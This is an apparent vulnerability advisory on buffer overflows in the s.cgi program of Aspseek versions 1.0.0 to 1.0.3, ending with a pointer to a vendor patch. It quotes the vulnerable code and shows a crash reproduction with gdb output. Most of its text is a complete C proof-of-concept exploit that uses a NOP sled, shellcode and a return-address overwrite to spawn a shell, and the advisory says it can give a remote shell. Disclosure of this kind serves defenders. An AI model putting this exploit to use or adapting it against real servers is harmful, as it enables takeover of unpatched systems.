COMMAND
Aspseek
SYSTEMS AFFECTED
Aspseek 1.0.0...1.0.3
PROBLEM
Neil K. found following. The Aspseek Search Engine is like many
other C/C++ compiled search engines, and uses a MySQL database as
its data store.
Once compiled and properly setup, you are left to copy s.cgi to
the cgi-bin of your webserver. This script acts as the input and
output for the search engine, taking user defined data and
outputs the search results. Unfortunately there is a problem in
the parsing of user defined data.
There are multiple buffer overflow conditions in s.cgi, the first
being the most obvious:
1. sc.cpp:
int search(char *exe, char *arg) {
==>
if ((env = getenv("QUERY_STRING")))
{
strcpy(query_string, env);
....
}
<==
}
Where query_string is defined as: query_string[STRSIZ] =
query_string[4 x 1024]
Through experimentation we found that it would take at least 10272
chars to overflow this buffer, therefore making it useless
remotely. Since Apache by default will only take a URI of 8190
bytes length.
2. templates.cpp:
int CCgiQuery::ParseCgiQuery(char* query, char* templ) {
==>
else if ((!STRNCMP(token, "tmpl="))
{
char* tmpl = token + 5;
char tmplu[2000];
sprintf(tmplu, "&tmpl=%s", tmpl);
....
}
<==
}
The above condition is a classic buffer overflow, we found that
the buffer can be overflowed with 5148 bytes of data. Therefore
making this remotely exploitable.
Example:
[root@linux cgi-bin]# export QUERY_STRING="q=a&tmpl=`perl -e'printf("a"x5200)'`"
[root@linux cgi-bin]# ./s.cgi
Content-type: text/html
<html><body>Can't open template file 'aaaaa...............'!</body></html>
Segmentation Fault (core dumped)
[root@linux cgi-bin]# gdb s.cgi core
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-asplinux-linux"...
Core was generated by `./s.cgi'.
Program terminated with signal 11, Segmentation fault.
#0 0x61616161 in ?? ()
To demonstrate the problem Neil has supplied a Local exploit
which simply drops s.cgi to a shell. This condition is
exploitable remotely and could be used to obtain a remote
uid=nobody shell.
The code:
/*
* Aspseek v1.0.0 - 1.0.3 -Proof of Concept eXploit-
* Tested on Redhat 7.0, Asplinux RC3 (v1.1)
*
* by: NeilK (neilk@alldas.de/neil@alldas.de)
* http://neilk.alldas.de
*
* Local proof of concept buffer overflow exploit for s.cgi
* its not suid/sgid but it can be remote :)
*
* Line #1228 - templates.cpp
* char* tmpl = token + 5;
* char tmplu[2000];
* sprintf(tmplu, "&tmpl=%s", tmpl)
*
* greetz: mjm, all @alldas.de
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define NOP 0x90
#define BUFSIZE 5148
#define OFFSET -200
#define RETURNS 2
unsigned char shellcode[] =
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";
long get_sp () { __asm__ ("mov %esp, %eax"); }
int
main (int argc, char *argv[])
{
char buffer[BUFSIZE];
int i, offset;
unsigned long ret;
fprintf(stderr, "Aspseek v1.0.3 -Proof of Concept eXploit-\n");
fprintf(stderr, "by neilk@alldas.de/neil@alldas.de\n");
if (argc > 1)
offset = atoi(argv[1]);
else
offset = OFFSET;
memcpy(buffer, "q=a&tmpl=", 9);
for (i = 9; i < (BUFSIZE - strlen(shellcode) - (RETURNS*4)); i++)
*(buffer + i) = NOP;
memcpy (buffer + i, shellcode, strlen(shellcode));
ret = get_sp();
for (i = BUFSIZE - (RETURNS*4); i < BUFSIZE; i += 4)
*(long *) &buffer[i] = ret+offset;
buffer[BUFSIZE] = '\0';
fprintf(stderr, "[return address = %p] [offset = %d] [buffer size = %d]\n", ret + offset, offset, strlen(buffer));
setenv("QUERY_STRING", buffer, 1);
execl("./s.cgi", "s.cgi", NULL);
exit(1);
}
SOLUTION
Vendor provides a patch @ aspseek.org.